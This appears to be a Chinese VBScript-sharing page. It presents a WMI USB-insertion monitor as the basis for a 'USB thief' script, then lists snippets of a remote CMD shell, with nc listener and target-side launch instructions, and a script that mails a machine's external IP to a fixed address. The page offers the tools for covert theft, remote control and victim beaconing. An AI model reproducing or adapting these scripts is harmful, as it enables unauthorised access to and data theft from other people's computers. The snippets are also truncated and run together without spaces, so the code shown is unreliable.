来自微软官方，写USB小偷脚本是最好不过的了

strComputer = "." 
Set objWMIService = GetObject("winmgmts:" _ 
& "{impersonationLevel=impersonate}!\" & strComputer & "rootcimv2") 
Set colMonitoredEvents = objWMIService. _ 
ExecNotificationQuery("Select * from Win32_VolumeChangeEvent") 
Do 
Set objLatestEvent = colMonitoredEvents.NextEvent 
Wscript.Echo objLatestEvent.DriveName 
Wscript.Echo objLatestEvent.EventType 
Wscript.Echo objLatestEvent.Time_Created 
Loop 

VBScript Enun Remote CMD Shell代码
效果如图：'============================'EnunRemoteCMDShellv1.0'============================OptionExplicitCONSTACCOUNT_LOCK_TIME=600000'账户锁定时间，10分钟CONSTLOCKOUT_BAD_COUNT=3'密码

VBScript 打造自己的远程CMDShell附使用教程
请先下载mswinsck.ocx与VB6Controls.reg！使用方法：1，控制：nc.exe，执行：nc-l-v-p1234；2，目标：cscript.exeenun.vbsIPPort；3，密码：enun。几点说明：1，退出SHELL

VBS获取外网IP地址并发送到指定邮箱的代码
FunctionGetIPAddress()DimFlag,SourceSetGetIPObj=WScript.GetObject("http://ipseeker.cn//")Flag=0Fori=1To10IfGetIPObj.readyState="complete"ThenFlag=1ExitForEndIfWScript.Sleep500NextIfFlag=0ThenGetIPAddr